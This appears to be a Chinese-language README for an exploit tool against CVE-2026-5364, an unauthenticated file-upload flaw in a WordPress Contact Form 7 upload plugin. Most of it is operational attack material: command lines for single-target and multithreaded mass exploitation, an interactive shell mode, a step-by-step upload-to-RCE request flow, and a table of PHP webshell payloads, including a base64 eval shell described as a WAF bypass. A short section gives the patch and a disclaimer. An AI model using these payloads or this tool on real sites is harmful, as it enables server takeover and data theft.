
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
CVE-2026-5364 是一个 CVSS 8.1(高危)未认证任意文件上传漏洞,存在于 Drag and Drop File Upload for Contact Form 7 插件中。
通过
sanitize_file_name()绕过实现未认证任意文件上传 CVSS 8.1(高危) | 受影响:<= 1.1.3 | 已修复:1.1.4
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-5364 |
| 插件 | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1(高危) |
| 向量 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | <= 1.1.3 |
| 已修复版本 | 1.1.4 |
| 研究人员 | Thomas Sanzey |
| 发布日期 | 2026年4月23日 |
该插件在 经过 sanitize_file_name() 清理 之前 读取文件扩展名。
攻击者上传一个名为 shell.php$ 的文件:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← 绕过黑名单
sanitize_file_name('shell.php$') → 'shell.php' ← 以 PHP 文件保存
三个独立的弱点串联而成:
type POST 参数从用户读取pathinfo() 应用于原始文件名wp_unique_filename() 内部的 sanitize_file_name() 会删除 $ 字符git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests 库# 基础利用(id 命令)
python CVE-2026-5364.py -u https://target.com
# 自定义命令
python CVE-2026-5364.py -u https://target.com -c "whoami"
# 交互式 Shell
python CVE-2026-5364.py -u https://target.com --interactive
# 不同 Shell 类型
python CVE-2026-5364.py -u https://target.com --shell exec
# 详细输出 + 代理
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 线程扫描
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# 也尝试已修补版本
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# 保存结果到文件
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
目标:
-u, --url URL 单目标 URL
-l, --list FILE 目标列表(每行一个 URL)
利用:
-c, --cmd CMD OS 命令(默认:id)
--shell TYPE Webshell 类型:basic|exec|pass|eval|info
-i, --interactive 打开交互式 Shell
--no-skip-patched 也尝试已修补版本
扫描:
-t, --threads N 线程数(默认:10)
--timeout S 超时秒数(默认:15)
--proxy URL 代理地址
输出:
-o, --output FILE 结果文件
-v, --verbose 详细输出
--no-color 无颜色输出
1. Nonce 检测
└─ wp_localize_script() 公开给每位访客
GET /contact/ → HTML 中包含 "nonce":"abc123def4"
2. 上传 Shell
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← 不在黑名单中
file=shell.php$ ← sanitize_file_name() → shell.php
3. 获取 URL
└─ 响应:{"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sanitize_file_name() 删除的字符:
$ % ~ ` (空格)
工具会自动尝试所有绕过字符。
将插件更新至 1.1.4 或更高版本。
# 使用 WP-CLI 更新
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// 错误(1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// 正确(1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type 参数现在从管理员设置读取
$type = $this->get_admin_allowed_types($form_id); // 而非从 POST 读取
此工具 仅用于教育和防御目的的安全研究。 未经授权在系统上使用是禁止的,并可能产生法律后果。请仅在 获得授权 的系统上使用。
| 类型 | Payload | 用途 |
|---|
basic | <?php system($_GET["cmd"]); ?> | 通用 |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | 完整输出 |
pass | <?php passthru($_GET["cmd"]); ?> | 二进制输出 |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | 隐蔽/WAF 绕过 |
info | <?php phpinfo(); ?> | PHP 信息 |
| 因素 | 影响 |
|---|
Apache .htaccess(Content-Disposition: attachment) | 阻止 PHP 执行 |
| Nginx / LiteSpeed | .htaccess 无效 — RCE 可行 |
随机文件名(uniqid()) | AJAX 响应返回 URL,因此 无效 |
| Nonce | CSRF 保护 — 非身份验证,无效 |